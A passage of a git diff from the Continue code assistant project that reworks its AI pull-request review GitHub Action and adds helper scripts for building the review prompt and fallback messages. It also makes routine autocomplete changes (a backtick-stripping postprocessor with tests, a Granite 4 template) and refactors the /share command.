[Description of minor issues or nice-to-have improvements] - - - ### 💡 Suggestions - - **[Suggestion Title]**: [Description of improvement recommendations] - - ### 🚀 Overall Assessment - [Provide overall recommendation: APPROVE, REQUEST_CHANGES, or COMMENT] - - Only call the 'exit' tool if you find critical security vulnerabilities or bugs that would break production. - EOF + # Gather PR context and build prompt without heredocs + gh pr diff "$PR_NUMBER" > pr_diff.txt + gh pr view "$PR_NUMBER" --json title,author,body,files > pr_data.json + node .continue-action-scripts/buildPrompt.js "$PR_NUMBER" + rm -f pr_data.json - name: Run Continue CLI Review if: env.SHOULD_RUN == 'true' @@ -149,11 +266,13 @@ runs: env: CONTINUE_API_KEY: ${{ inputs.continue-api-key }} CONTINUE_ORG: ${{ inputs.continue-org }} - CONTINUE_CONFIG: ${{ inputs.continue-config }} + CONTINUE_AGENT: ${{ inputs.continue-agent }} + GITHUB_TOKEN: ${{ github.token }} run: | echo "Running Continue CLI with prompt:" echo "==================================" - cat review_prompt.txt + head -n 100 review_prompt.txt + echo "... [truncated] ..." echo "==================================" echo "" @@ -161,15 +280,7 @@ runs: if [ -z "$CONTINUE_API_KEY" ]; then echo "Warning: CONTINUE_API_KEY environment variable is not set" # Create fallback review and continue - cat > code_review.md << 'EOF' - ## Code Review Summary - - ⚠️ AI review skipped: CONTINUE_API_KEY not configured. - - ### Configuration Required - - Please set the CONTINUE_API_KEY secret in repository settings - - Verify that the organization and config path are valid - EOF + node .continue-action-scripts/writeMarkdown.js code_review.md missing_api_key echo "SKIP_CLI=true" >> $GITHUB_ENV else echo "SKIP_CLI=false" >> $GITHUB_ENV @@ -181,7 +292,7 @@ runs: exit 1 fi - if [[ ! "$CONTINUE_CONFIG" =~ ^[a-zA-Z0-9_/-]+$ ]]; then + if [[ ! "$CONTINUE_AGENT" =~ ^[a-zA-Z0-9_/-]+$ ]]; then echo "Error: Invalid config path. Must contain only alphanumeric characters, hyphens, underscores, and forward slashes." exit 1 fi @@ -189,51 +300,67 @@ runs: # Test Continue CLI availability if [ "$SKIP_CLI" != "true" ]; then echo "Testing Continue CLI..." - if ! cn --version; then + if ! which cn > /dev/null 2>&1; then echo "Warning: Continue CLI not found or not working" - cat > code_review.md << 'EOF' - ## Code Review Summary - - ⚠️ AI review skipped: Continue CLI installation failed. - - ### Troubleshooting - - Check that npm installation succeeded - - Verify @continuedev/cli package is available - EOF + node .continue-action-scripts/writeMarkdown.js code_review.md cli_install_failed echo "SKIP_CLI=true" >> $GITHUB_ENV else - echo "Continue CLI version: $(cn --version)" + echo "Continue CLI found at: $(which cn)" + echo "Continue CLI version: $(cn --version 2>/dev/null || echo 'version check failed')" fi fi # Run the CLI with validated config and error handling if [ "$SKIP_CLI" != "true" ]; then - echo "Executing Continue CLI with config: $CONTINUE_ORG/$CONTINUE_CONFIG" + echo "Executing Continue CLI with config: $CONTINUE_ORG/$CONTINUE_AGENT" - # Write prompt to temp file for better handling - PROMPT_FILE="/tmp/continue-prompt-$.txt" + # Write prompt to temp file for headless mode + PROMPT_FILE="/tmp/continue-review-$RANDOM.txt" cp review_prompt.txt "$PROMPT_FILE" + echo "Prompt file: $PROMPT_FILE" + echo "Prompt length: $(wc -c < "$PROMPT_FILE") characters" - # Use timeout to prevent hanging (240 seconds = 4 minutes) - if ! timeout 240 cn --config "$CONTINUE_ORG/$CONTINUE_CONFIG" -p "@$PROMPT_FILE" --allow Bash > code_review.md 2>cli_error.log; then - echo "Error: Continue CLI command failed" - echo "CLI error log:" - cat cli_error.log + # Use timeout to prevent hanging (360 seconds = 6 minutes) + echo "Executing command: cn --agent $CONTINUE_ORG/$CONTINUE_AGENT -p @$PROMPT_FILE --allow Bash" - # Create fallback review - cat > code_review.md << 'EOF' - ## Code Review Summary - - ⚠️ AI review failed due to service initialization issues. Please check the Continue API key and configuration. - - ### Troubleshooting - - Verify the CONTINUE_API_KEY secret is set correctly - - Check that the organization and config path are valid - - Ensure the Continue service is accessible - EOF + if timeout 360 cn --agent "$CONTINUE_ORG/$CONTINUE_AGENT" -p "@$PROMPT_FILE" --allow Bash > code_review_raw.md 2>cli_error.log; then + echo "Continue CLI completed successfully" + echo "Raw output length: $(wc -c < code_review_raw.md) characters" + + # Clean up ANSI codes if any + sed 's/\x1b\[[0-9;]*m//g' code_review_raw.md > code_review.md + + echo "Cleaned output length: $(wc -c < code_review.md) characters" + echo "First 500 chars of output:" + head -c 500 code_review.md + echo "" + + # Check if output is empty + if [ ! -s code_review.md ]; then + echo "Warning: Continue CLI returned empty output" + node .continue-action-scripts/writeMarkdown.js code_review.md empty_output + fi + else + echo "Error: Continue CLI command failed with exit code $?" + echo "CLI error log:" + cat cli_error.log + + # Check for specific error patterns + if grep -q "not found\|ENOENT" cli_error.log 2>/dev/null; then + node .continue-action-scripts/writeMarkdown.js code_review.md cli_not_found + elif grep -q "config\|assistant" cli_error.log 2>/dev/null; then + node .continue-action-scripts/writeMarkdown.js code_review.md config_error + elif grep -q "api\|auth" cli_error.log 2>/dev/null; then + node .continue-action-scripts/writeMarkdown.js code_review.md auth_error + else + node .continue-action-scripts/writeMarkdown.js code_review.md generic_failure + fi + fi + + # Clean up temp file + rm -f "$PROMPT_FILE" else - echo "Review generated successfully" - fi + echo "Review generation successfully completed" fi - name: Upload Review Results @@ -247,7 +374,7 @@ runs: pr_diff.txt retention-days: 30 - - name: Comment PR with Review + - name: Update Comment with Review if: env.SHOULD_RUN == 'true' && always() uses: actions/github-script@v7 with: @@ -256,13 +383,15 @@ runs: try { let reviewContent = ''; - + if (fs.existsSync('code_review.md') && fs.statSync('code_review.md').size > 0) { reviewContent = fs.readFileSync('code_review.md', 'utf8'); } else { - reviewContent = '⚠️ AI review completed but no review output was generated. Check the action logs for details.'; + // Build direct link to workflow logs + const workflowRunUrl = `https://github.com/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`; + reviewContent = `⚠️ AI review completed but no review output was generated.\n\n**Likely cause:** Expired CONTINUE_API_KEY or missing continuedev/review-bot assistant\n\n[📋 View workflow logs](${workflowRunUrl}) for details.`; } - + // Get PR number based on event type let prNumber; if (context.eventName === 'pull_request') { @@ -277,17 +406,115 @@ runs: reviewContent = `*Triggered by @${context.payload.comment.user.login}'s request*\n\n${reviewContent}`; } - // Add instructions for re-review - reviewContent += '\n\n---\n*💡 To request a new review, comment `@continue-general-review`*'; + // Add footer with timestamp and branding + const timestamp = new Date().toISOString(); + reviewContent += `\n\n---\n`; - // Create new comment - await github.rest.issues.createComment({ - issue_number: prNumber, - owner: context.repo.owner, - repo: context.repo.repo, - body: reviewContent - }); - console.log(`Successfully created new comment on PR #${prNumber}`); + // Look for existing review comment to update (sticky comment) + const marker = ''; + + // Try to get comment_id from the initial comment step + const initialCommentId = '${{ steps.initial-comment.outputs.comment_id }}'; + + if (initialCommentId && initialCommentId !== '') { + // We have the comment ID from the initial step, use it directly + reviewContent = `${marker}\n**✅ Review Complete**\n\n${reviewContent}`; + + try { + await github.rest.issues.updateComment({ + owner: context.repo.owner, + repo: context.repo.repo, + comment_id: parseInt(initialCommentId), + body: reviewContent + }); + console.log(`Updated comment ${initialCommentId} with review results`); + } catch (updateError) { + console.log(`Failed to update comment ${initialCommentId}, will search for it instead:`, updateError.message); + + // Fallback: search for the comment + const { data: comments } = await github.rest.issues.listComments({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: prNumber, + per_page: 100 + }); + + // Find existing Continue review comment + const existingComment = comments + .filter(c => c.body && c.body.includes(marker)) + .sort((a, b) => new Date(b.created_at).getTime() - new Date(a.created_at).getTime())[0]; + + if (existingComment) { + await github.rest.issues.updateComment({ + owner: context.repo.owner, + repo: context.repo.repo, + comment_id: existingComment.id, + body: reviewContent + }); + console.log(`Updated existing comment ${existingComment.id} via search`); + } else { + // Create new comment as last resort + await github.rest.issues.createComment({ + issue_number: prNumber, + owner: context.repo.owner, + repo: context.repo.repo, + body: reviewContent + }); + console.log(`Created new comment on PR #${prNumber} as fallback`); + } + } + } else { + // No initial comment ID, search for existing comment + const { data: comments } = await github.rest.issues.listComments({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: prNumber, + per_page: 100 + }); + + // Find existing Continue review comment + const existingComment = comments + .filter(c => c.body && c.body.includes(marker)) + .sort((a, b) => new Date(b.created_at).getTime() - new Date(a.created_at).getTime())[0]; + + // Add marker and review status + reviewContent = `${marker}\n**✅ Review Complete**\n\n${reviewContent}`; + + if (existingComment) { + // Check if comment is less than 1 hour old + const commentAge = Date.now() - new Date(existingComment.created_at).getTime(); + const oneHour = 60 * 60 * 1000; + + if (commentAge < oneHour) { + // Update existing comment if less than 1 hour old + await github.rest.issues.updateComment({ + owner: context.repo.owner, + repo: context.repo.repo, + comment_id: existingComment.id, + body: reviewContent + }); + console.log(`Updated existing comment ${existingComment.id} (${Math.round(commentAge / 1000 / 60)} minutes old)`); + } else { + // Create new comment if older than 1 hour (preserve history) + await github.rest.issues.createComment({ + issue_number: prNumber, + owner: context.repo.owner, + repo: context.repo.repo, + body: reviewContent + }); + console.log(`Created new comment (existing comment was ${Math.round(commentAge / 1000 / 60)} minutes old)`); + } + } else { + // Create new comment + await github.rest.issues.createComment({ + issue_number: prNumber, + owner: context.repo.owner, + repo: context.repo.repo, + body: reviewContent + }); + console.log(`Created new comment on PR #${prNumber}`); + } + } } catch (error) { console.log('Failed to post comment:', error.message); console.log('Error details:', error); diff --git a/actions/general-review/scripts/buildPrompt.js b/actions/general-review/scripts/buildPrompt.js new file mode 100644 index 000000000..2f454d144 --- /dev/null +++ b/actions/general-review/scripts/buildPrompt.js @@ -0,0 +1,94 @@ +const fs = require("fs"); +const path = require("path"); + +function main() { + const prNumber = process.argv[2]; + if (!prNumber) { + console.error( + "buildPrompt.js requires the PR number as the first argument", + ); + process.exit(1); + } + + const prDataPath = path.resolve(process.cwd(), "pr_data.json"); + const prDiffPath = path.resolve(process.cwd(), "pr_diff.txt"); + const outputPath = path.resolve(process.cwd(), "review_prompt.txt"); + + if (!fs.existsSync(prDataPath)) { + console.error(`Missing PR metadata file: ${prDataPath}`); + process.exit(1); + } + + if (!fs.existsSync(prDiffPath)) { + console.error(`Missing PR diff file: ${prDiffPath}`); + process.exit(1); + } + + const repo = process.env.GITHUB_REPOSITORY || "unknown-repo"; + let prData; + + try { + prData = JSON.parse(fs.readFileSync(prDataPath, "utf8")); + } catch (error) { + console.error("Failed to parse PR metadata JSON:", error); + process.exit(1); + } + + const filesChanged = Array.isArray(prData.files) ? prData.files.length : 0; + const authorLogin = prData.author?.login || "unknown-author"; + const title = prData.title || "Untitled"; + const prBody = + prData.body && prData.body.trim() + ? prData.body.trim() + : "No description provided"; + const diff = fs.readFileSync(prDiffPath, "utf8"); + + const promptSections = [ + "You are reviewing a pull request. Please provide helpful, context-aware feedback.", + "", + "CONTEXT:", + `- Repository: ${repo}`, + `- PR #${prNumber}: ${title}`, + `- Files Changed: ${filesChanged}`, + `- Author: ${authorLogin}`, + "", + "REVIEW APPROACH:", + "1. First, understand what this PR is trying to accomplish", + "2. Check if similar patterns exist elsewhere in the codebase", + "3. Focus on actual issues that affect functionality", + "4. Be constructive and suggest solutions when possible", + "", + "FOCUS ON:", + "- Bugs that will cause failures or incorrect behavior", + "- Security vulnerabilities (exposed secrets, injection risks)", + "- Breaking changes that affect other parts of the system", + "- Performance issues with real impact (memory leaks, O(n²) algorithms)", + "- Missing tests for new features or bug fixes", + "- Missing documentation for APIs or complex logic", + "", + "SKIP COMMENTING ON:", + "- Style and formatting (handled by linters)", + "- Alternative approaches unless current is broken", + "- Minor naming unless genuinely confusing", + "- Trivial documentation for self-explanatory code", + "", + "Be specific with line numbers and explain why something is an issue.", + "", + `PR Description: ${prBody}`, + "", + "Code Changes:", + diff.trimEnd(), + "", + "Your Review:", + "Please provide constructive feedback on the code changes.", + "Focus on issues that matter for functionality, security, and maintainability.", + "If the code looks good overall, acknowledge that while noting any minor suggestions.", + ]; + + const prompt = `${promptSections.join("\n")}\n`; + + fs.writeFileSync(outputPath, prompt, "utf8"); + console.log(`Wrote review prompt to ${outputPath}`); +} + +main(); diff --git a/actions/general-review/scripts/writeMarkdown.js b/actions/general-review/scripts/writeMarkdown.js new file mode 100644 index 000000000..8ada50bbd --- /dev/null +++ b/actions/general-review/scripts/writeMarkdown.js @@ -0,0 +1,68 @@ +const fs = require("fs"); +const path = require("path"); + +const messages = { + missing_api_key: `## Code Review Summary + +⚠️ AI review skipped: CONTINUE_API_KEY not configured. + +### Configuration Required +- Please set the CONTINUE_API_KEY secret in repository settings +- Verify that the organization and config path are valid +`, + cli_install_failed: `## Code Review Summary + +⚠️ AI review skipped: Continue CLI installation failed. + +### Troubleshooting +- Check that npm installation succeeded +- Verify @continuedev/cli package is available +`, + empty_output: `## Code Review Summary + +⚠️ Continue CLI returned an empty response. Please check the configuration. +`, + cli_not_found: `## Code Review Summary + +⚠️ Continue CLI is not properly installed. Please ensure @continuedev/cli is installed globally. +`, + config_error: `## Code Review Summary + +⚠️ Continue configuration error. Please verify that the assistant exists in Continue Hub. +`, + auth_error: `## Code Review Summary + +⚠️ Continue API authentication failed. Please check your CONTINUE_API_KEY. +`, + generic_failure: `## Code Review Summary + +⚠️ AI review failed. Please check the Continue API key and configuration. + +### Troubleshooting +- Verify the CONTINUE_API_KEY secret is set correctly +- Check that the organization and config path are valid +- Ensure the Continue service is accessible +`, +}; + +function main() { + const [outputPath, messageKey] = process.argv.slice(2); + + if (!outputPath || !messageKey) { + console.error("Usage: node writeMarkdown.js "); + process.exit(1); + } + + const message = messages[messageKey]; + + if (!message) { + console.error(`Unknown message key: ${messageKey}`); + process.exit(1); + } + + const absolutePath = path.resolve(process.cwd(), outputPath); + fs.writeFileSync(absolutePath, message, "utf8"); + console.log(`Wrote ${messageKey} message to ${absolutePath}`); +} + +main(); diff --git a/binary/package-lock.json b/binary/package-lock.json index 001e69a8e..2a7345a42 100644 --- a/binary/package-lock.json +++ b/binary/package-lock.json @@ -48,6 +48,7 @@ "version": "1.1.0", "license": "Apache-2.0", "dependencies": { + "@anthropic-ai/sdk": "^0.62.0", "@aws-sdk/client-bedrock-runtime": "^3.779.0", "@aws-sdk/client-sagemaker-runtime": "^3.777.0", "@aws-sdk/credential-providers": "^3.778.0", @@ -114,6 +115,7 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", + "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", @@ -6674,9 +6676,9 @@ } }, "node_modules/tar-fs": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.2.tgz", - "integrity": "sha512-EsaAXwxmx8UB7FRKqeozqEPop69DXcmYwTQwXvyAPF352HJsPdkVhvTaDPYqfNgruveJIJy3TA2l+2zj8LJIJA==", + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", + "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==", "dev": true, "license": "MIT", "dependencies": { diff --git a/binary/utils/bundle-binary.js b/binary/utils/bundle-binary.js index f0cde0d25..16bfe01b2 100644 --- a/binary/utils/bundle-binary.js +++ b/binary/utils/bundle-binary.js @@ -11,7 +11,7 @@ const { TARGET_TO_LANCEDB } = require("../utils/targets"); const fs = require("fs"); const { downloadSqlite, -} = require("../../extensions/vscode/scripts/download-copy-sqlite-esbuild"); +} = require("../../extensions/vscode/scripts/download-copy-sqlite"); const { fork } = require("child_process"); async function downloadNodeSqlite(target, targetDir) { diff --git a/core/autocomplete/CompletionProvider.ts b/core/autocomplete/CompletionProvider.ts index 6deb9d132..5001a6203 100644 --- a/core/autocomplete/CompletionProvider.ts +++ b/core/autocomplete/CompletionProvider.ts @@ -268,6 +268,8 @@ export class CompletionProvider { gitRepo: await this.ide.getRepoName(helper.filepath), uniqueId: await this.ide.getUniqueId(), timestamp: new Date().toISOString(), + profileType: + this.configHandler.currentProfile?.profileDescription.profileType, ...helper.options, }; diff --git a/core/autocomplete/context/static-context/StaticContextService.ts b/core/autocomplete/context/static-context/StaticContextService.ts index b955a38ff..a756abc63 100644 --- a/core/autocomplete/context/static-context/StaticContextService.ts +++ b/core/autocomplete/context/static-context/StaticContextService.ts @@ -1,8 +1,7 @@ -import * as fs from "fs/promises"; import path from "path"; import { pathToFileURL } from "url"; import Parser from "web-tree-sitter"; -import { IDE, Position } from "../../.."; +import { FileType, IDE, Position } from "../../../"; import { localPathOrUriToPath } from "../../../util/pathToUri"; import { getFullLanguageName, getQueryForFile } from "../../../util/treeSitter"; import { @@ -353,10 +352,7 @@ export class StaticContextService { if (foundContents.has(tdLocation.filepath)) { content = foundContents.get(tdLocation.filepath)!; } else { - content = await fs.readFile( - localPathOrUriToPath(tdLocation.filepath), - "utf8", - ); + content = await this.ide.readFile(tdLocation.filepath); foundContents.set(tdLocation.filepath, content); } @@ -854,24 +850,19 @@ export class StaticContextService { return skipDirs.includes(dirName) || dirName.startsWith("."); }; - async function scanRecursively(currentPath: string): Promise { + const scanRecursively = async (currentPath: string): Promise => { try { - const entries = await fs.readdir(currentPath, { - withFileTypes: true, - }); + const currentUri = pathToFileURL(currentPath).toString(); + const entries = await this.ide.listDir(currentUri); + for (const [name, fileType] of entries) { + const fullPath = localPathOrUriToPath(path.join(currentPath, name)); - for (const entry of entries) { - const fullPath = localPathOrUriToPath( - path.join(currentPath, entry.name), - ); - - if (entry.isDirectory()) { - // Skip common directories that typically don't contain source files - if (!shouldSkipDirectory(entry.name)) { + if (fileType === (2 as FileType.Directory)) { + if (!shouldSkipDirectory(name)) { await scanRecursively(fullPath); } - } else if (entry.isFile()) { - const extension = path.extname(entry.name).toLowerCase(); + } else if (fileType === (1 as FileType.File)) { + const extension = path.extname(name).toLowerCase(); if (tsExtensions.includes(extension)) { tsFiles.push(fullPath); } @@ -880,7 +871,7 @@ export class StaticContextService { } catch (error) { console.error(`Error reading directory ${currentPath}:`, error); } - } + }; await scanRecursively(dirPath); return tsFiles; diff --git a/core/autocomplete/postprocessing/index.test.ts b/core/autocomplete/postprocessing/index.test.ts new file mode 100644 index 000000000..e0314b5d1 --- /dev/null +++ b/core/autocomplete/postprocessing/index.test.ts @@ -0,0 +1,118 @@ +import { postprocessCompletion } from "./index"; + +describe("postprocessCompletion - removeBackticks", () => { + const mockLLM = { model: "test-model" } as any; + + it("should remove first line starting with ``` and last line that is ```", () => { + const completion = + "```typescript\nfunction hello() {\n return 'world';\n}\n```"; + const result = postprocessCompletion({ + completion, + llm: mockLLM, + prefix: "", + suffix: "", + }); + expect(result).toBe("function hello() {\n return 'world';\n}"); + }); + + it("should remove only first line if it starts with ```", () => { + const completion = "```javascript\nconst x = 5;\nconsole.log(x);"; + const result = postprocessCompletion({ + completion, + llm: mockLLM, + prefix: "", + suffix: "", + }); + expect(result).toBe("const x = 5;\nconsole.log(x);"); + }); + + it("should remove only last line if it is ```", () => { + const completion = "const y = 10;\nconsole.log(y);\n```"; + const result = postprocessCompletion({ + completion, + llm: mockLLM, + prefix: "", + suffix: "", + }); + expect(result).toBe("const y = 10;\nconsole.log(y);"); + }); + + it("should not modify completion without backticks", () => { + const completion = "function test() {\n return true;\n}"; + const result = postprocessCompletion({ + completion, + llm: mockLLM, + prefix: "", + suffix: "", + }); + expect(result).toBe("function test() {\n return true;\n}"); + }); + + it("should handle completion with backticks in the middle", () => { + const completion = "const str = `template ${literal}`;\nconsole.log(str);"; + const result = postprocessCompletion({ + completion, + llm: mockLLM, + prefix: "", + suffix: "", + }); + expect(result).toBe( + "const str = `template ${literal}`;\nconsole.log(str);", + ); + }); + + it("should handle first line with leading whitespace before ```", () => { + const completion = " ```python\ndef hello():\n pass\n```"; + const result = postprocessCompletion({ + completion, + llm: mockLLM, + prefix: "", + suffix: "", + }); + expect(result).toBe("def hello():\n pass"); + }); + + it("should handle last line with whitespace around ```", () => { + const completion = "```\ncode here\n ``` "; + const result = postprocessCompletion({ + completion, + llm: mockLLM, + prefix: "", + suffix: "", + }); + expect(result).toBe("code here"); + }); + + it("should handle single line completion", () => { + const completion = "const x = 5;"; + const result = postprocessCompletion({ + completion, + llm: mockLLM, + prefix: "", + suffix: "", + }); + expect(result).toBe("const x = 5;"); + }); + + it("should handle empty completion", () => { + const completion = ""; + const result = postprocessCompletion({ + completion, + llm: mockLLM, + prefix: "", + suffix: "", + }); + expect(result).toBeUndefined(); + }); + + it("should not remove ``` if it's not on its own line at the end", () => { + const completion = "```typescript\nconst x = 5; // end```"; + const result = postprocessCompletion({ + completion, + llm: mockLLM, + prefix: "", + suffix: "", + }); + expect(result).toBe("const x = 5; // end```"); + }); +}); diff --git a/core/autocomplete/postprocessing/index.ts b/core/autocomplete/postprocessing/index.ts index b78d32009..6ce3742d6 100644 --- a/core/autocomplete/postprocessing/index.ts +++ b/core/autocomplete/postprocessing/index.ts @@ -52,6 +52,43 @@ function isBlank(completion: string): boolean { return completion.trim().length === 0; } +/** + * Removes markdown code block delimiters from completion. + * Removes the first line if it starts with backticks (with optional language name). + * Removes the last line if it contains only backticks. + */ +function removeBackticks(completion: string): string { + const lines = completion.split("\n"); + + if (lines.length === 0) { + return completion; + } + + let startIdx = 0; + let endIdx = lines.length; + + // Remove first line if it starts with backticks (``` or ```language) + const firstLineTrimmed = lines[0].trim(); + if (firstLineTrimmed.startsWith("```")) { + startIdx = 1; + } + + // Remove last line if it contains only backticks (one or more) + if (lines.length > startIdx) { + const lastLineTrimmed = lines[lines.length - 1].trim(); + if (lastLineTrimmed.length > 0 && /^`+$/.test(lastLineTrimmed)) { + endIdx = lines.length - 1; + } + } + + // If we removed lines, return the modified completion + if (startIdx > 0 || endIdx < lines.length) { + return lines.slice(startIdx, endIdx).join("\n"); + } + + return completion; +} + export function postprocessCompletion({ completion, llm, @@ -113,7 +150,7 @@ export function postprocessCompletion({ completion = completion.replace(/^\n+|\n+$/g, ""); } - if (llm.model.includes("mercury") || llm.model.includes("granite")) { + if (llm.model.includes("granite")) { // Granite tends to repeat the start of the line in the completion output let prefixEnd = prefix.split("\n").pop(); if (prefixEnd) { @@ -156,5 +193,8 @@ export function postprocessCompletion({ completion = completion.slice(1); } + // Remove markdown code block delimiters + completion = removeBackticks(completion); + return completion; } diff --git a/core/autocomplete/templating/AutocompleteTemplate.ts b/core/autocomplete/templating/AutocompleteTemplate.ts index 254437889..72820b2fd 100644 --- a/core/autocomplete/templating/AutocompleteTemplate.ts +++ b/core/autocomplete/templating/AutocompleteTemplate.ts @@ -71,6 +71,21 @@ const qwenCoderFimTemplate: AutocompleteTemplate = { }, }; +// https://www.ibm.com/granite/docs/models/granite#fim +const granite4FimTemplate: AutocompleteTemplate = { + template: + "<|fim_prefix|>{{{prefix}}}<|fim_suffix|>{{{suffix}}}<|fim_middle|>", + completionOptions: { + stop: [ + "<|end_of_text|>", + "<|fim_prefix|>", + "<|fim_middle|>", + "<|fim_suffix|>", + "<|fim_pad|>", + ], + }, +}; + const seedCoderFimTemplate: AutocompleteTemplate = { template: "<[fim-prefix]>{{{prefix}}}<[fim-suffix]>{{{suffix}}}<[fim-middle]>", @@ -177,7 +192,7 @@ const mercuryMultifileFimTemplate: AutocompleteTemplate = { suffix, ]; } - return [`<|fim_prefix|>${prefix}`, suffix]; + return [`${prefix}`, suffix]; } const relativePaths = getShortestUniqueRelativeUriPaths( @@ -442,6 +457,10 @@ export function getTemplateForModel(model: string): AutocompleteTemplate { return qwenCoderFimTemplate; } + if (lowerCaseModel.includes("granite") && lowerCaseModel.includes("4")) { + return granite4FimTemplate; + } + if (lowerCaseModel.includes("seed") && lowerCaseModel.includes("coder")) { return seedCoderFimTemplate; } diff --git a/core/autocomplete/util/AutocompleteLoggingService.ts b/core/autocomplete/util/AutocompleteLoggingService.ts index 58b3d2d0d..b84aaf156 100644 --- a/core/autocomplete/util/AutocompleteLoggingService.ts +++ b/core/autocomplete/util/AutocompleteLoggingService.ts @@ -119,6 +119,7 @@ export class AutocompleteLoggingService { time: restOfOutcome.time, useRecentlyEdited: restOfOutcome.useRecentlyEdited, numLines: restOfOutcome.numLines, + profileType: restOfOutcome.profileType, }; outcome.enabledStaticContextualization diff --git a/core/autocomplete/util/types.ts b/core/autocomplete/util/types.ts index 4f669fc63..eb9a75fa1 100644 --- a/core/autocomplete/util/types.ts +++ b/core/autocomplete/util/types.ts @@ -43,4 +43,5 @@ export interface AutocompleteOutcome extends TabAutocompleteOptions { uniqueId: string; timestamp: string; enabledStaticContextualization?: boolean; + profileType?: "local" | "platform" | "control-plane"; } diff --git a/core/commands/slash/built-in-legacy/share.ts b/core/commands/slash/built-in-legacy/share.ts index daddf8dff..041269ca8 100644 --- a/core/commands/slash/built-in-legacy/share.ts +++ b/core/commands/slash/built-in-legacy/share.ts @@ -1,99 +1,17 @@ -import fs from "fs"; -import { homedir } from "node:os"; -import { fileURLToPath, pathToFileURL } from "node:url"; +import { fileURLToPath } from "node:url"; import path from "path"; -import { languageForFilepath } from "../../../autocomplete/constants/AutocompleteLanguageInfo.js"; import { SlashCommand } from "../../../index.js"; -import { renderChatMessage } from "../../../util/messageContent.js"; -import { getContinueGlobalPath } from "../../../util/paths.js"; - -// If useful elsewhere, helper funcs should move to core/util/index.ts or similar -function getOffsetDatetime(date: Date): Date { - const offset = date.getTimezoneOffset(); - const offsetHours = Math.floor(offset / 60); - const offsetMinutes = offset % 60; - date.setHours(date.getHours() - offsetHours); - date.setMinutes(date.getMinutes() - offsetMinutes); - - return date; -} - -function asBasicISOString(date: Date): string { - const isoString = date.toISOString(); - - return isoString.replace(/[-:]|(\.\d+Z)/g, ""); -} - -function reformatCodeBlocks(msgText: string): string { - const codeBlockFenceRegex = /```((.*?\.(\w+))\s*.*)\n/g; - msgText = msgText.replace( - codeBlockFenceRegex, - (match, metadata, filename, extension) => { - const lang = languageForFilepath(filename); - return `\`\`\`${extension}\n${lang.singleLineComment} ${metadata}\n`; - }, - ); - // Appease the markdown linter - return msgText.replace(/```\n```/g, "```\n\n```"); -} +import { shareSession } from "../../../util/historyUtils.js"; const ShareSlashCommand: SlashCommand = { name: "share", description: "Export the current chat session to markdown", run: async function* ({ ide, history, params }) { - const now = new Date(); - - let content = `### [Continue](https://continue.dev) session transcript\n Exported: ${now.toLocaleString()}`; - - // As currently implemented, the /share command is by definition the last - // message in the chat history, this will omit it - for (const msg of history.slice(0, history.length - 1)) { - let msgText = msg.content; - msgText = renderChatMessage(msg); - - if (msg.role === "user" && msgText.search("```") > -1) { - msgText = reformatCodeBlocks(msgText); - } - - // format messages as blockquotes - msgText = msgText.replace(/^/gm, "> "); - - content += `\n\n#### ${ - msg.role === "user" ? "_User_" : "_Assistant_" - }\n\n${msgText}`; - } - - let outputDir: string = params?.outputDir ?? getContinueGlobalPath(); - - if (outputDir.startsWith("~")) { - outputDir = outputDir.replace(/^~/, homedir); - } else if ( - outputDir.startsWith("./") || - outputDir.startsWith(".\\") || - outputDir === "." - ) { - const workspaceDirs = await ide.getWorkspaceDirs(); - // Although the most common situation is to have one directory open in a - // workspace it's also possible to have just a file open without an - // associated directory or to use multi-root workspaces in which multiple - // folders are included. We default to using the first item in the list, if - // it exists. - const workspaceDirectory = workspaceDirs?.[0] || ""; - outputDir = outputDir.replace(/^./, fileURLToPath(workspaceDirectory)); - } - - if (!fs.existsSync(outputDir)) { - fs.mkdirSync(outputDir, { recursive: true }); - } - - const dtString = asBasicISOString(getOffsetDatetime(now)); - const outPath = path.join(outputDir, `${dtString}_session.md`); //TODO: more flexible naming? - - const fileUrl = pathToFileURL(outPath).toString(); // TODO switch from path to URI above ^ - await ide.writeFile(fileUrl, content); - await ide.openFile(fileUrl); - + const fileUrl = await shareSession(ide, history, params?.outputDir); + const filePath = fileURLToPath(fileUrl); + // output path is the parent directory of the filePath + const outPath = path.dirname(filePath); yield `The session transcript has been saved to a markdown file at \`${outPath}\`.`; }, }; diff --git a/core/commands/slash/customSlashCommand.ts b/core/commands/slash/customSlashCommand.ts index 9526cbca8..43f535d4d 100644 --- a/core/commands/slash/customSlashCommand.ts +++ b/core/commands/slash/customSlashCommand.ts @@ -11,6 +11,6 @@ export function convertCustomCommandToSlashCommand( description: customCommand.description ?? "", prompt: customCommand.prompt, source: "json-custom-command", - promptFile: customCommand.sourceFile, // TODO refactor promptFile to align with sourceFile + sourceFile: customCommand.sourceFile, }; } diff --git a/core/commands/slash/promptBlockSlashCommand.ts b/core/commands/slash/promptBlockSlashCommand.ts index 4f3446a21..284a499ab 100644 --- a/core/commands/slash/promptBlockSlashCommand.ts +++ b/core/commands/slash/promptBlockSlashCommand.ts @@ -9,6 +9,6 @@ export function convertPromptBlockToSlashCommand( description: prompt.description ?? "", prompt: prompt.prompt, source: "yaml-prompt-block", - promptFile: prompt.sourceFile, // Align with the sourceFile property + sourceFile: prompt.sourceFile, }; } diff --git a/core/commands/slash/promptFileSlashCommand.ts b/core/commands/slash/promptFileSlashCommand.ts index e076086c0..693d2f856 100644 --- a/core/commands/slash/promptFileSlashCommand.ts +++ b/core/commands/slash/promptFileSlashCommand.ts @@ -15,7 +15,7 @@ export function slashCommandFromPromptFile( description, prompt, source: version === 1 ? "prompt-file-v1" : "prompt-file-v2", - promptFile: path, + sourceFile: path, overrideSystemMessage: systemMessage, }; } diff --git a/core/commands/slash/ruleBlockSlashCommand.ts b/core/commands/slash/ruleBlockSlashCommand.ts index d907768cb..dd9b999cb 100644 --- a/core/commands/slash/ruleBlockSlashCommand.ts +++ b/core/commands/slash/ruleBlockSlashCommand.ts @@ -10,6 +10,7 @@ export function 